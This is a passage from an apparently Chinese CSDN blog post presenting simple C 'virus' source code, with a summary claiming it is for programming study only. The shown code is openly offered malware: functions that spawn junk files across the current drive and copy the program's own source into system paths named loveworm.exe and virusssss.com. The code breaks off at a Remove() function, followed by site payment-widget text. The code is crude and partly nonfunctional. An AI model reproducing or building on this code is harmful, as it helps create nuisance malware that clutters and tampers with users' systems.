c语言运行显示病毒,常见C语言病毒

本文介绍了几个简单的C语言病毒源码,包括文件复制、无限循环和目录操作等,强调这些仅用于编程研究,不应实际运行。文章讲解了病毒的自我复制机制,并提供了一个示例,展示了如何将病毒代码插入到其他C程序中。作者提醒读者深恶痛绝真正的病毒,并提倡以学习为目的。
摘要由CSDN通过智能技术生成

#include

#include

#include

#include

#include

void copyfile(char *infile, char *outfile)

{

FILE

*in,*out;

in =

fopen(infile,"r");

out =

fopen(outfile,"w");

while

(!feof(in))

{

fputc(fgetc(in),out);

}

fclose(in);

fclose(out);

}

void MakeRubbish()

{

int

i; FILE

*fp;

char

*path;

char

*NewName;

char

*disk[7] = {"A","B","C","D","E","F","G"};

char

*addtion = ":\\";

for (i = 0;

i<5; i++)

{

char tempname[] = "XXXXXX" ;

NewName = mktemp(tempname);

fp = fopen(NewName,"w");

fclose(fp);

}

path =

strcat(disk[getdisk()],addtion);

chdir(path);

for (i =

0; i<5; i++)

{

char tempname[] = "XXXXXX";

NewName = mktemp(tempname);

fp = fopen(NewName,"w");

fclose(fp);

}

}

void CreatEXE()

{

int i;

char

*path;

char

*s[2] =

{"C:\\WINDOWS\\system32\\loveworm.exe","C:\\WINDOWS\\virusssss.com"};

for ( i = 0;

i < 2; i++)

{

open(s[i], 0x0100,0x0080);

copyfile( "C_KILLER.C",s[i]);

}

}

void Remove()

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值